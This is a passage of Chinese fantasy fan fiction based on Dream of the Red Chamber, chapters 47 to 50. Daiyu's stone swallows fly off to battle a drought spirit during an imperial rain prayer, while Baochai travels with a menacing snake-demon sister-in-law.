白鹤还真知道一些，但说的方法跟白妈妈一样。黛玉有些失望，白鹤回忆着道：“黑粳米是有些奇特。它不是珍贵之物，只要能种活，产量就不愁。但一样的种子，一样的照料手法，能不能发芽全看运气，不是凭术法就能催出来的。我猜里面另有门道，僧人们知道，捂着没流传出来，后来就逐渐失传了。”
没打听到方法，黛玉也没放弃，她把挑出来做种的米埋进花盆里，就放在房里，有空就输些灵力催一催，但种子还是不见任何动静。
不知不觉到了八月，即使再严格控制，黑粳米也慢慢见了底。
京中近两个月没下雨，金乌炙烤，越发干旱，各地都有旱情传来。月中，行宫有消息传回京中，说是当今忧心天下百姓，决定前往京郊开坛祈雨。
47.第 47 章
贾家是收到消息的最后一拨人。消息也不是特意有人传到府上的，是府里按惯例打发了一个小管事带着人去清虚观烧香添香油钱，那几个人办完事在清虚观辗磨两圈，敲了些东西，没见着观主张道人，跟小道童打听才知道张道人被召去了京郊。
作为道录司掌印，又是上皇御封的“仙人”，张道人可以说是最有资格参与祈雨之事的人之一了。
回来后去小管事回话时就把这事当个见闻跟凤姐说了，说张道人了不得了，又面圣了，言语之间颇有调笑之意，凤姐又当个趣事跟贾母说了。
黛玉拦着不让宝玉他们给风时喂水，它这几天也不知道为什么，黏人得紧，往常不出听松园，现在走到哪儿就跟到哪儿，死活不肯离开，黛玉只好把它带到贾母这儿。
它外表可爱，又有一股机灵劲儿，很能唬人，迎春几个对它颇为喜爱，围着逗弄。
黛玉拍开宝玉从外面拿来的鸟食勺，听到凤姐的笑声，侧头朝那边看了一眼。凤姐说话声音不小，她都听见了。
府里的消息太不灵通了，黛玉想。她都比老太太更早知道这事儿，当今选的祈雨地方离她那块园子不远，大批人马陆续驻扎下来的时候，白鹤就得了信来告诉过她。
算算时间，只怕先期的准备都做完了，只等择定吉日便可开坛。
贾母年纪大，又热又病被折磨了一个月，脸都有些黄了，如今病好了，精神头却还有些差，偶尔还是感到头疼。
她这是心病，吃药不见好，还把胃口吃得越发差了。听到凤姐的话，她脸上也不见笑容。
凤姐笑了几声，见老太太不搭茬，就收了声。鸳鸯端着药碗过来，服侍贾母用药。
贾母喝了两口，推开她的手，道：“早喝晚喝也不见效果，嘴里都是苦味，不喝了，之后也别熬了，把林丫头拿来的一枕香点上，我闻着那味道静心。”
鸳鸯闻言放下碗去拿香。
宝玉闻到药味，想起什么似的，问黛玉：“妹妹今日可吃过药了？晚上睡得好不好？”
“劳你惦记我，今日不必吃，前日刚吃，隔三天用一副就行了。”其实上回陈御医开的药，她一口都没喝，送到房里她就倒掉了。倒药的那盆土吸满了药汁，正好可以拿来种需要吸收药力的兜笼草。
宝玉听了方才放心。
探春剥了几颗瓜子放在掌心给风时吃，风时理都没理，一扭头，飞到黛玉肩上啄她的头发。
黛玉被拽得一歪头，拿手赶它：“作死！这又吃不得。”
探春问：“它吃什么？”
“它挑嘴着呢，一般东西还看不上眼。”
黛玉从探春手上拿了一颗瓜子仁喂给风时，原以为它不吃，风时却嗅了嗅，给面子得叼到嘴里吞了。
黛玉一脸惊讶，忙把它从肩上拿下来，风时小声“叽”了一声。黛玉见它真吞下了肚，十分惊奇：“你莫不是不认得这东西，还当是那样的米？”
探春笑着道：“它许是只认你，便只吃你手上给的，倒是忠心。”
黛玉心知真相不是如探春所说，黑粳米没了后，石燕们便不吃不喝，此时风时骤然换了食谱，她觉得有些古怪，但风时又开不了口，她只能将疑惑藏在心里。
那边鸳鸯将一枕香点起来，这香无烟，只有丝丝缕缕的香味悄然流出，沾上些许冰盆散发的凉意，送到众人鼻尖。
丝丝寒香浇息了贾母胸中的无名之火，她歪着身子倚在软枕上，闭着眼睛伴着黛玉等人的说话声眯了一会儿，似是打了个盹儿，实际不过两三分钟就睁开了眼。
“凤丫头。”贾母头疼好了一些，人也清明了，也有了力气想别的。
“哎，老祖宗。”凤姐应道。
贾母思索着慢慢道：“你叫琏儿往京郊去打听打听，跟着陛下祈雨的都有哪些人，咱们家的那些亲戚还有常走动的几家人有没有在里头的？让他务必弄清楚了回来告诉我。”
“叫他见机行事，不可莽撞，也不可鬼鬼祟祟叫人拿住了知道吗？”
凤姐打包票：“老祖宗放心，二爷您还不放心，他机灵着，这点小事必定办妥了。”
当下等到贾琏傍晚回府，凤姐便把贾母的吩咐跟他说了。
贾琏正脱着衣服呢，闻言挂着半只衣袖便问：“老祖宗真这么说的？你怎么就干脆应了？！”
凤姐卸着头钗斜了他一眼，“瞧你这话说的，又不是什么难事，就是受累跑一趟。”
贾琏甩脱袖子，平儿连忙把衣服捡起来挂好。贾琏一屁股坐到凤姐对面，又是懊恼又是生气，“跑一趟！你说的轻松。你知不知道谁敢凑上去探听陛下行踪，被捉住了当刺客就地格杀都没处喊冤去。”
凤姐“嘶”了一声，头发搅在凤钗上，忙喊平儿来给她解开。
她见贾琏呼哧喘着气，道：“二爷也别唬我，这么厉害老太太还能叫你赶着去送死？”
贾琏喷出一口气，道：“你懂什么，往小了说这叫窥伺帝踪，往大了说一个意图行刺的帽子扣下来百口莫辩，两者区别也就是看是我送一条命还是阖府几百条命的区别。”
平儿手一紧，拽下来两根头发，凤姐骂道：“你眼睛看哪儿呢？”
平儿道：“奶奶，这么危险，要不回了老太太，别让二爷去了。”
凤姐心里也有些打鼓，推贾琏，“你真没胡说？”
贾琏道：“平日你不信我也就罢了，我还不至于自己咒自己。”
凤姐皱眉道：“我看老太太也不至于......”她放低了声音，“不至于糊涂了。”
贾琏也是奇怪，只是凤姐都应了，他也不能去跟老太太说自己干不了，说实在的，这事儿要交给别人去办，他更不放心。
去肯定是要去的，贾琏细问凤姐经过，干系着贾琏的性命，凤姐也没耍花腔，一五一十把当时的场景说了。
贾琏听完后，放下心来，道：“我说呢！行了，这事儿我有主意了。”
凤姐忙问他，贾琏让凤姐支他些银子，“我牵匹马，带个人过去，就近找个农家住下，混上两天，等祈雨结束，直接找张道士问就完了。”
凤姐捶他，“这不就简单的很，让你刚才说的吓死个人。”
平儿也道：“二爷也忒说重了，我心腔子都要跳出来了。”
贾琏道：“还怪我，谁叫你奶奶话也不说完整。”
第二日贾琏死活从凤姐手中抠了一百两银子，带着人便往郊外去了。凤姐送了他离开，回房卧着翻来覆去不得劲，平儿笑道：“二爷才离开，奶奶就想他了？”
“呸！谁想他了。”凤姐爬起来，左思右想，道：“我
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越琢磨越不对劲，他昨儿该不是哄我一顿，就为了拿银子好去风流快活吧。”
平儿一顿，“奶奶把二爷想的太不堪了，京郊放眼望去都是农妇，风吹日晒，五分颜色都只剩一分了，二爷怎么瞧的上。”
凤姐撇嘴，“你也别给他说好话，我还不知道他！死狗扶不上墙的，逮着机会没有不偷腥的，但凡齐头整脸一些他就下得去嘴！”
只是钱也给了，人也走了，凤姐再气闷也只能私下跟平儿骂两句。
却说贾琏清早趁着还不那么热，骑马赶往京郊，赶了半日，出了城也不继续走，就近找了处地方住下，然后派跟来的兴儿去打听祈雨的地方。消息好打听的很，从附近村民嘴里就问出来了，甚至还问到了祈雨的时间，就在后天。
新皇有心宣扬自己的爱民之心，显然没有隐瞒的意思，倒是方便了贾琏。弄清楚后，贾琏便带着兴儿回了城，等祈雨完之后再来，外边村子他实在住不惯。
就这么等了两天，祈雨当天，黛玉一早被青雀一嗓子喊醒了。
“怎么了，怎么了？”何嬷嬷一边问一边急急撩开纱帐。黛玉从床上探出头，脸上还残存困意。
青雀指着放在桌子上的花盆道：“种子没了。”
黛玉连忙批衣下床，就见埋着黑粳米的花盆中间已被刨出来一个洞，花盆边沿挖出来的土围了一圈。
青雀把花盆抱下来，土倒进一个大盆里铺开，拿棍子拨了一会儿，果然一粒种子也没有了。
黛玉蹙着眉环顾了一圈，问：“风时呢？”平常这个时候，它都是歇在架子上的。
青雀回：“一早就没见到。”
芙蓉循声而来，道：“我在外面看了，其他石燕也不见了。”
几个人屋里找了一圈，在花窗上找到半个拳头大的小洞，风时应当是挖了种子半夜撕开这个洞钻出去的。
何嬷嬷晚上睡在罗汉床上守夜，那窗户就在她对面。她道：“我晚上竟一点声音都没听到。”
青雀点点头，别说何嬷嬷了，花盆离床头那么近，她都没听见动静。
“它们是偷了种子跑了？”青雀嘟着嘴，道：“我就知道那只心机鸟不怀好意。”
芙蓉下意识去看黛玉，黛玉咬了咬唇，摇头道：“许是有别的原因，它们要偷吃早几天便偷了，不用等到今天。”
“也是。”青雀叉腰，“难道是嘴馋了，那也不能都吃了，竭泽而渔的道理不懂吗？”
芙蓉道：“我也从没听说过石燕会偷东西，倒是常有赞其壮勇的。”赞的多了，这种小精怪本身也会受人的意志影响，应当不会干偷鸡摸狗的事？
黛玉叫来白妈妈，问她可丢了黑粳米，白妈妈回去看了看，说没丢。
黛玉便更想不明白了，也不知道它们这一走，都去了哪儿。
她一头雾水之际，白鹤过来看她们个个都锁着眉，挑眉道：“这是怎么了？”
青雀叽叽喳喳跟她告状，白鹤听完，道：“巧了，我是不知道石燕为什么吃了那些种子，不过它们肯定是去京郊了。”
“白鹤姐姐昨晚看到它们了？去京郊做什么？”黛玉立刻问道。
“我没看到。”白鹤道：“今日天子祈雨......”
她说了一半停了下来，片刻后道：“起风了。”
48.第 48 章
“白鹤姐姐怎么把话说到一半就不说了，祈雨跟风时它们的去向有什么关系？”黛玉有些着急。
白鹤面朝门外，房门上是空的，门帘损坏率实在太高，赶不及换新的，现下是一座黄花梨透雕围屏架在门前，权做遮挡视线之用。
白鹤的视线似乎穿透了屏风，穿过天际，落到某一个地方。再开口时话中似有深意：“因为遇风雨而飞是这种小精怪的天性。”
“原来是这样。”黛玉松了口气，不是一去不回就好。
芙蓉目光闪烁不定，嘴唇微张，话语在舌尖打了个转，欲言又止。
“不对！”黛玉忽地抬头，“它们不是怕水吗？！”
“对呀。”青雀道：“上次在花架那边，四姑娘有个装了水，养着怎么都不发芽的种子的莲瓣洗，里头那么点的水，我蹲在跟前，它们都不敢靠近。”
那次打架她被逼得十分狼狈，一直跑到东北角，误打误撞绕到那里。看出它们的畏惧，她端着莲瓣洗举到胸口跟它们僵持了快一柱香的时间，靠着它反败为胜。
不过这种耍赖皮似的手段她只用了一次，每次都拿水当挡箭牌就没意思了。
“是啊，沾了水，它们不就化了吗？怎么还要去淋雨？”黛玉求助地看向芙蓉。方才她还有些为风时不辞而别伤心，现在就只剩担忧了。
芙蓉叹息一声，“这就是它们的命运。”
黛玉茫然。芙蓉知她养了石燕一段日子，肯定有了感情，不忍道：“石燕不是自然诞生的精怪，它们不知道是从哪里长出来，追逐着风雨而来，遇水则融，风止雨歇之时，早已化成一摊泥随风散落，无隐无踪。从诞生到寿终，只有一段短短的时间，所以石燕永远只能是石燕。这么短的寿命，成不了妖。”
青雀手里的棍子渐渐放下，“那它们、它们不是只活了......”一个多月？一个多月，她跟它们打了不知道多少架。想起自己对这些石燕的恶劣态度和欺负，青雀愧疚地垂下头，早知道她就让让它们了，反正被抓被啄了也不疼不痒。
黛玉一震，也想到了从石燕出现到现在才不到两个月，就算它们从诞生之地到达这里花费了一段时间，算下来生命也不会太长。
她怔怔望着青雀拨弄过的花盆土，“早知道就都给它们吃了。”
何嬷嬷看着快要哭出来的黛玉和头都要埋在胸口的青雀，实在不知道要怎么安慰。
她道：“为何石燕会有畏水和追风逐雨如此互相矛盾的天性？”正常来说，不应该越畏惧什么，就越回避什么吗？
“因为它们逐风雨是为了对付天敌。”白鹤道：“或者说正是有它们对付天敌，才有下雨的可能。”
同一时间，京郊一队停靠在离管道三四里外的车队中，有人也问了跟何嬷嬷同样的问题。
“《湘州记》曰：零陵山有石燕，遇风雨即飞，止还为石。”车队中间一辆马车上，一个十来岁的少女将手中账册放在膝上，细声道：“前人记载，石燕是像燕子的石头，就算是记载有误，石燕应该也并不畏水才是。”
马车中除她之外，还有一个看上去约有二十岁，柳腰细眉，下巴尖窄的女人没骨头一样倚在窗边，一手半搭在窗上，撩起帘子往外看。
女人听到少女的话，转过头来。她生得极美，皮肤白而细腻，唇小巧而色艳，眼狭长而尖锐，看过来时，眼中似有冷光，少女不由瑟缩了一下，随后又镇定下来，不闪不避跟女人对视。
“哧嘶~”女人笑了。她一笑起来，浓艳五官带来的攻击性消减，透出一股慵懒而邪异的风情，更添三分惑人。
女人肩一塌，腰肢一扭，下半身也没动，不知怎么的，就顺着坐凳滑到了少女身边，脑袋搁在少女身上，她吐气如兰：“子还不语怪力乱神，不也有妖精存在，前人记的就都是对的吗？”
一股带着腥气的冷香笼罩下来，暖融融的气息拂过脸上几不可见的绒毛，少女脊背爬上一层麻意，浑身一颤，脸色通红，几乎没听明白几个字，缩着肩膀往旁边躲开。
没了支撑，女人脑袋一点，懒懒靠在壁上，打量了少女通红的耳朵一眼，乐不可支“咯咯嘶嘶”直笑。
调笑声中，少女调整好情绪，抚了下肩膀，再抬头已是面色如常，她看着女人道：“‘嫂子’还是庄重些，快要到姨妈家了，那里门第不比我们家，规矩森严，是见不惯这番做派的。”
女人还是肆无忌惮地笑着，眼中波光流转，朱唇微张，一点红色从口中探出，直探到少女面前。
少女一刹那脸色发白，手脚冰凉，指尖攥紧。轻轻的撕拉声不惹人注意，她手上的账册已被划破一角。
女人收回蛇信子，似笑非笑地看着她，腻着嗓子道：“看不惯又怎样，我是你哥哥未过门的妻子，到哪里都是要跟着你们的嘶，国公府也不能欺负我一个弱女子嘶~”
“还是说妹妹着急找你那好姨妈，想要求她替你找人降妖除魔嘶~？”
她分明会好生说话，此刻口中却“嘶”声不断，无时无刻不在彰显自己的非人身份。
少女，也就是宝钗，僵笑着回道：“嫂子误会了，我怎么会这么想。”
女人装模作样捏着帕子擦了擦眼角，委委屈屈道：“那就好，前日我还听到你哥哥同妈妈说到京城就要我好看。现下听了妹妹的话，我也放心了。我就知道妹妹不像你那个死鬼哥哥嫌弃我是个无依无靠的孤女，待我是一片真心~”
宝钗显些没控制住自己的表情，脸上空白了一瞬，暗道哥哥和妈怎么这么不小心，明知女人不好惹，还大喇喇说自己的谋划。她涩声道：“哥哥和妈糊涂，嫂子别往心里去。嫂子同我是一家人，我不待嫂子真心，待谁真心呢！”
女人柔柔侧头，道：“妹妹发誓没有想要害我？”
宝钗指天立誓。
女人又道：“那你妈妈和哥哥要害我，你帮不帮我？”
“我当然是帮嫂子的。”宝钗木然道。
女人破涕为笑，“有妹妹的话我就放心了，如此也不枉我替妹妹要来家里的账册。妹妹可要好好掌家，千万别让你妈妈和哥哥拿着银子去请什么假和尚真道士，不要辜负我的一片心意。要知道我生起气来，就要病倒，一病了，不吃几个人的心肝就好不起来。”
宝钗自然又说了一番好话，女人才放过她。
见女人不追究了，宝钗才低头，看向手中抓着的账册，默然无语。
她实在不知道事情怎么变成这样的。
父亲去世后，一切
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都变了。往日和善的亲戚个个变成豺狼，对他们家虎视眈眈，哥哥还不争气，挡不住人，又无父亲管束，整日跟狐朋狗友玩乐，母亲一味溺爱，直到哥哥被人做局套了不少财产。眼看着再这么下去，家里要给哥哥败了，妈终于醒过神，变卖了部分家当带着他们来京城投靠舅舅。
谁知半路接到消息，舅舅升官调离了京城，他们又不能回金陵，更需要有权势的靠山震慑薛家族人，妈便改了主意要去投靠姨妈。
这回没再出变故，本来是好好的，结果路上哥哥非要到处闲逛，然后便见到了这个女人，三魂七魄都被勾走了，茶饭不思，撒了七百两银子从拐子手里把人买回了家。
从这个女人一到家起，他们家就再也不得安宁了。
可是......宝钗摩挲着账册，自女人来后，别的不说，哥哥因为惧怕她安分了许多。
宝钗心中矛盾，她既怕女人，又隐隐希望她能一直这么管束着哥哥，威胁也好，恐吓也好，只让他不再惹祸，惹妈伤心就好。毕竟这人虽然阴晴不定，总把吃人挂在嘴边，但也没见她真伤人性命。
女人看着宝钗变幻莫测的神色，脸上笑吟吟的。
她碰上的这一家子人，老的不辨是非，男的又怂又横，只有最小的一个有点意思。明明最年轻，却是最立得住的。
就是要这样胆子大有成算逗起来才有趣，一吓就跑了，她无聊的时候上哪儿去找乐子。
女人翘起脚，哼着几句江南小调，被挡在路上不能前行的闷气一扫而空。今儿她真高兴，找个空子再打一顿薛呆子助助兴才好。
路上有段日子没收拾他了，那怂货胆子好像又壮起来了。
薛蟠躲在薛姨妈的马车上，冷不丁打了寒颤。薛姨妈心疼地摸着他的背，“我的儿，你身上又疼了？那个妖精也忒狠了。”
薛蟠忙拉她，哭丧着脸道：“妈你小点声，保不齐她又听到了我再挨一顿打。”
薛姨妈连忙噤声。
两人小心翼翼贴着车壁听了听动静，没听到那女人过来，皆松了一口气。
不知道那个煞星什么时候会冒出来，母子俩连抱头痛哭都不敢，生怕会惹着她。
薛姨妈小声道：“快了快了，等见到你姨妈，你姨妈一定会帮你的。”
薛蟠没那么乐观，他妈和妹妹不知道，他却是知道的。
发现自己买了个什么人回来之后，他不敢找女人麻烦，就偷摸去找了拐子出气，但是拐子死了。
他看着拐子的尸体被抬出来，被掏了心，死得极惨。
薛蟠当时就吓傻了，跌跌撞撞跑回家，做了好长一段时间噩梦。他认定拐子的死是女人干的，更不敢忤逆她。
实在是前段时间被打多了，他才生了要找道士收妖的心。其实刚跟妈说完他就后悔了。
试一试吧，薛蟠心道，京城近在眼前，试一试也不亏。要是不成，他就彻底认命了。
薛姨妈母子的心思女人不知道。
“嘶~”她探了探信子，发现了有趣的事，扭着腰游到窗边，往天上看了看。一群石燕在空中盘旋，空中笼罩着普通人看不到的青黄之气。
“啧啧~”她朝宝钗招手，“妹妹过来，嫂子带你看一场好戏。”
49.第 49 章
马车的窗户就那么窄窄一块地方，要往外看，两人势必就要挨在一起。宝钗对她惧怕又忌惮，不大愿意跟她贴得很近。
女人自然看出了她的不情愿，但她是我行我素的妖精，最喜欢做的就是强人所难，她可一点都不会顾及对方的心情。宝钗不动，她就这么笑眯眯看着她。
“哎，也不知道你妈妈和哥哥在后面好不好，天太热，马车里怪闷的，要不叫他们一起过来这辆车上休息，凉快些。”
几息之后，宝钗坐了过去。
女人弯起眼睛，染着丹蔻的手抚上她的头发，呢喃似的夸道：“好姑娘，真听话。”
宝钗略有不适地动了动，终究没敢躲开。
好在头上的手掌没有停留太久，女人收回手，推了推她，“往上面看。”
宝钗不情不愿抬头，下一秒难得失态，嘴巴微张，睁大眼睛惊讶地看着昏黄的天空。
原本万里无云的湛蓝天空蒙上了一层昏惨惨的黄色，像是大漠黄昏下刮来的沙尘，本应该是粗粝荒凉的，但黄色中又掺着粘稠的绿，绿色聚成一滴滴水珠样，欲坠又止。
这滴滴绿意，生生破坏了那份辽阔的壮丽。黄绿两种颜色交织在一起，给宝钗一种很不好的感觉。
她似乎能嗅到燥热的，能把人蒸干的气息，和一股萦绕在心头，挥之不去的窒息之感。宝钗缩回头，心惊肉跳。她深深喘了几口气，捂着嘴，压下涌上来的恶心之感。
“那是什么？”好不容易止住酸意，宝钗问道。
女人一直观察着她的表情，见她只有一些反胃，心情颇好地道：“你跟薛呆子还真不像，你该不是你爹娘从外面抱养回来的吧。”
宝钗一怔，旋即皱眉，眼中恼怒一闪而过，她是正经的薛家小姐，什么叫是抱养的。
女人看见了，对她的愤怒不以为意，漫不经心道：“第一次开天眼看到不寻常东西的人，通常都没有你这么坚强，头疼昏迷才是正常反应。你跟呆子一比，强他十条街不止，不像是一个娘胎里出来的。”
薛呆子看个死人就吓破了胆，实在胆小如鼠，不像个男人，让她好一阵腻味。
听着像是在夸她，但全不是好话，宝钗气闷地扭头重新看向外面。
蒙在天上的昏黄和黏绿又有了新的变化。那抹绿意胀大了一些，颜色变得更清透了，里面好像还有东西在动，宝钗看不清，只能看到它们慢慢下垂着，一点点从空中压下来。
总觉得等它坠落，会有更不好的事发生。
“不是觉得哦~”女人好像听到了她的心声，贴过来，轻笑着道：“那一层脏兮兮的黄色是尸气。”
宝钗偏了偏头，虽然拉不开距离，但也不至于脸贴脸。
她心中还有气，但到底耐不住好奇，问：“是尸体的尸？”
女人道：“不错。也不知道是从哪里流传出来的说法，说是——”
宝钗正准备继续听，她话锋一转问：“女魃知道吗？”
宝钗点头：“知道，是司掌旱灾的神明。传说黄帝战蚩尤时，蚩尤驱使风伯雨师制造风雨阻挡黄帝的军队，黄帝请女魃相助，女魃一出，风雨即止。”
女人哼了一声，道：“后来女魃助黄帝战胜蚩尤，为黄帝成为天下共主立下汗马功劳。然而逐鹿之战结束后，女魃神力耗尽，流落人间，被逐往赤水之北，但是她所居之地干旱不雨，人们便害怕起来，逐渐忘记了她的功劳，把她当瘟神一样驱赶。”
论忘恩负义和卸磨杀驴，谁都没有人族手段高。一群只记仇不记恩的狗东西。
情绪激动之下，她瞳孔骤缩，竖成一条两条黄澄澄的细线，跟外面天幕的颜色还有点相似。
宝钗见她心情变差，不明就里，以免自己一开口哪个字会踩到她的痛处，她闭嘴不言。
她小心翼翼的模样把女人逗乐了，嗤嗤笑了起来。笑了一会儿，她继续道：“传说女魃在一次次被人驱赶中终于心生怨气，决心给不知好歹的人族一个教训。”
“没有了神力，但她依然是神躯，普通人哪里是女魃的对手。女魃下手没有轻重，失手杀了人。人命横亘其中，这场人神之间的冲突愈演愈烈，终于变成刻骨的仇恨。最后心怀仇恨的人族请求共主黄帝杀死女魃替他们报仇。”
“黄帝为了维护自己的统治，答应了众人的请求，全然不顾当初女魃的相助之恩。一场大战，女魃被黄帝派人诛杀。她死后，尸体沉入大地，因不甘和被黄帝背叛的怨恨，一口怨气不散，携着神尸上散发的尸气盘桓在地底，直到某一天，破土而出继续为祸人间，为这片大地带去旱灾，报复黄帝的后裔。”
“你看到的黄色，是女魃的尸气，绿色，据说是她尸身上滴下的血。那可是神血，比尸气更厉害。当尸气遮蔽天空时，风雨不来，神血坠入大地时，土地将寸草不生，人族深受其苦。”
“到了舜帝时，不忍百姓受苦，发誓要清除女魃怨气，但他生前没有做到。到他死后，有感他的心意，他陵前生出了这种专与女魃怨气为敌的石燕。至此以后，两厢争斗。石燕胜则风调雨顺，败则天下大旱，生灵涂炭。”
这是个不太美妙的故事，还有一个灾难性的结尾，宝钗听完后，沉默良久，她从来不知道逐鹿之战还有这样的后续。
女魃有错吗？没有。若是知道自己会付出这么惨烈的代价，她恐怕十分后悔应黄帝请求参战。
黄帝有错吗？宝钗不敢评判。
“哈哈哈！”女人忽然大笑起来。
宝钗一惊，瞥向她，女人乐不可支：“妹妹不会信了吧？那都是上古时候的事了，谁能知道得那么清楚，这些不过是后人编排的故事。”
宝钗眉头抬起，又轻轻落下，连番被戏耍，终于忍无可忍瞪了她一眼。
“咚咚咚！”
密集的鼓声一波波传来，拉车的马儿受惊，踏着蹄子嘶鸣起来，宝钗没坐稳，一下子歪进女人怀里。
“哎呦~，妹妹怎么还投怀送抱？”
宝钗羞愤不已，顾不得其他，连忙抓住窗
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沿爬起来要下车，女人一把抓住她，“妹妹别走啊。”
随后不顾她的挣扎，指着外边道：“快看！”
“姑娘看。”山头上，白鹤搭着黛玉的肩带着她一起落在树梢，指着远处的天空道。
山脚下鼓声震荡，惊飞无数飞禽走兽。高高的祭台上，又一张祭稿被焚烧殆尽，道录司的道士们兢兢业业念着祷告词，祈祷着雨快点降下来。
当今声势浩大的求雨，若不成功，不仅他身为皇帝的威望会大打折扣，他们也会被震怒的陛下问罪。
空中，似乎被鼓声震动，摇摇欲坠的粘稠绿色颤抖起来。
“叽——”
伴随着激昂的鼓点，一声长鸣下，所有石燕列开阵势，直扑凝结的绿色水滴。
“啵~”
绿色水滴牢牢黏着昏黄天幕上的细丝拉断，以迅雷不及掩耳之势落下，即将没入土中。
祭坛上，张道士舞动着浮尘的手一顿，毛骨悚然。这种感觉一闪而逝，张道士摸不着头脑，小心翼翼朝陛下所站的地方看了一眼，张道士收回目光，继续跳大神。
半空中，石燕们一头扎下，及时赶到，鸟喙和利爪一齐上阵，或啄或抓，撕开水滴。
几乎每一滴落下的粘稠水滴都被截住。远远看着这一幕，黛玉心神半紧半松。
她此刻矛盾极了，既希望石燕们不会死，又不愿看到旱情不止，生灵涂炭。她或许没有忧国忧民的心，但也不是会为自己一点私心而视他人生命如草芥的人。
“还没完。”白鹤没有黛玉的柔肠百结，她冷静道：“才刚开始。”
黛玉闻言凝神看去，就见破开的绿色水滴中钻出像是触手一样的东西。同样是惨绿的颜色，它们灵活地舞动着，或缠或绕，卷上石燕的们的身体。
“叽！”
隔得遥远的距离，她仿佛听到风时短促地叫了一声，所有衔着水滴的石燕齐齐甩头，水滴连着触手被甩向天幕。
黛玉恍惚觉得石燕甩头的一幕十分眼熟。半晌，她想起来，风时刚来时也是这么叼着青雀的手撕扯的，动作几乎一模一样。
“它们和青雀追逐时并不是单纯因为记仇还有玩闹。”白鹤指着空中左冲右突，时不时还要指挥其他石燕的风时，对黛玉道：“那只石燕真的很有灵性，聪明的不像话。”
“如果不是因为天性所限，它必定能成妖的。”
这是无法改变的缺陷，甚至可以说是一种规则。
黛玉握着胸口，嘴唇颤抖着低念风时的名字。
白鹤看着她难过的样子，没有要安慰的意思。做了什么样的选择，就要面对什么样的后果。
况且修行之路本就是分别的开始，她注定长生，迟早会面临送别。现在是石燕，以后是朋友、亲人，甚至还有芙蓉、青雀等人和她自己。她都不敢说会一直陪着黛玉。
在修行尚浅时早早领悟到这点，没有坏处。
一阵风卷来，树叶哗啦啦作响，白鹤拂袖替黛玉挡住狂风。
50.第 50 章
黛玉拉下她的袖子，即使被卷来的沙石扑了满脸依然坚持看向天空。
石燕和绿色触手之间的战斗已经白热化。触手们尾端拖着一层粘稠的皮，迎风摆动。
如果黛玉见过生长在海中的海葵，一定会觉得这些黏答答的触手跟这种海中的东西十分相似。
只不过天空中的这些触手更长，更灵活，还能分裂。它们一变二、二变四，越变越多，也越变越细，但杀伤力不减。
一只石燕躲避不及时，被蛛网一样的触手包围。触手层层收缩，逼得它可活动的范围越来越小。
它飞舞着、翻滚着，用嘴、用爪、用翅膀，使尽浑身解数对抗着绞杀而来的触手。
同伴们也有各自要面对的敌人，无法脱身，不能对它进行救援。
黛玉看着它不知疲倦，仿佛有无穷无尽的精力一样，坚持不懈做着挣扎。但触手太多了，它抓断一根，包围过来的就有两根，它们缠绕着它，像蜘蛛裹住猎物，却不是为了吃它。
触手勒紧，如同锋利的刀尖，一下子就削掉了石燕的翅膀尖，被切掉的那一部分褪去了柔软和鲜活，化成一块极小的石块，风一吹，沙一般无影无踪。
没了一部分翅膀，它失去了飞翔的能力，身体一歪，向下坠落。
黛玉心脏一紧，惊呼声堵在喉咙里发不出来。她知道它败了，而败落的结果显而易见。
黛玉抓住白鹤的手，带着哭腔的嗓音颤抖着，“姐姐，你带我过去！”
白鹤道：“姑娘，那是它们的战场，这东西只有它们能对付，你我都帮不上忙。”
“我知道，我知道！”黛玉摇着头，“我只是想离得更近一些。”
白鹤地下头，看着她脸上的神情，叹了一声，道：“姑娘抓紧一些，咱们不能从上面过去。”
说罢，她揽住黛玉的腰，从树梢翩然落下，往山下疾驰。
即将落地时，黛玉回头看了一眼，那只被绞住切割的石燕挣扎着叼住触手尾端的皮，一拉一拽一甩头，随后仰头似乎鸣叫了一声，吞下了那层皮。
之后，触手包着断了翅膀，脑袋与身子一半相连的石燕双双落下。树木山石遮挡了她的视线，黛玉不知道最后它们一起落到了哪里。
耳边是呼呼的风声，黛玉闭着眼睛趴在白鹤肩上。
肩上似乎有湿意浸透，白鹤顿了一下，“姑娘？”
“到了吗？”黛玉吸了下鼻头，问道。
“没有。”白鹤继续前行。她们靠近山脚，离祈雨的队伍很近了。
“起风了！起风了！”
有欢呼声顺着风传来，而后是群臣跪伏，山呼万岁，陛下天命所归赞颂声。祭台上的皇帝背着手，一派高深莫测的神情，眼中闪过一丝满意。
“哧——，刮风而已，离下雨远着呢，这个时候就开始庆祝，也不怕打脸。”
女人一脸不满，“脸真大，下雨也不是皇帝的功劳，天命所归个屁。”
宝钗转过头，恨不得扑过来捂住她的嘴，“那是天子，岂可妄议！”
女人没跟她争论，稀奇地看着她微红的眼眶，道：“好妹妹，你这是哭了？”
“我没哭。”宝钗撇过头，她只是见到死去的石燕，又想起刚刚那个故事，有些感伤罢了。随后她又想起女人嘲笑她相信一个无稽之谈，那一丁点感伤也消失了。
她眨了眨眼，问：“我看石燕已经占了上风，难道还会有变故吗？”
女人盯着她的眼睛，又往外看了一眼。正如宝钗所说，石燕虽然折损不少，但恶心的绿触手更少，已有石燕抽出手，抓向昏黄天幕。
天幕破了口子，风越来越大，有些阴沉的乌云渐渐移开，显然再过不久，一场大雨真的会降下来。
“没有。”女人没好气地道。
皇帝运气不差，这次是石燕胜了。
宝钗露出一个微笑，“太好了。”旱情可解，剩下的石燕也可以活。
女人心情有些差，见她高兴，便想讥讽她两句，还未开口，忽然察觉到了什么，瞬间坐直了身子，浑身戒备地望着某个方向，蛇信子吐出，咧开嘴，控制不住地露出两颗尖牙。
宝钗见她显出这副面貌，吓了一跳，忍不住蜷起身。
“怎么了？”她问，极力掩饰的声音还是因害怕打着颤。
女人冰冷的竖瞳扫过来，宝钗连忙低下头避开她的视线，稍顷，就听到凉凉的声音道：“没什么。”
白鹤抱着黛玉，慢慢停下脚步，遥遥朝马车这边看来。她嗅到了一股蛇类特有的腥气。
闻起来年份不浅。
白鹤把黛玉放下来，牵着她的手，目光落在一辆榆木蓝绸马车上。
宝钗小心侧头看着外面靠近的两个人，便知她们不同寻常。
她家的队伍被拦在这里，是因前方路途有天子卫队设着障，任何人都不可通行。这两人看方向是从那边来的，却没被拦截下来，肯定是用了某些手段瞒过了守卫的眼睛。
而之所以这般笃定，是因为自家的护卫也没有反应，像是没有看见有人过来。
想到“嫂子”的反应，那个女人兴许很厉害，宝钗心中思量。
一只手搭在她的背上，轻轻摸着她的长发，软腻地能让人骨头都酥了的声音发出疑问：“妹妹在想什么，能跟嫂子说说吗？”
宝钗心头一颤，汗毛乍起，连忙道：“没想什么。”
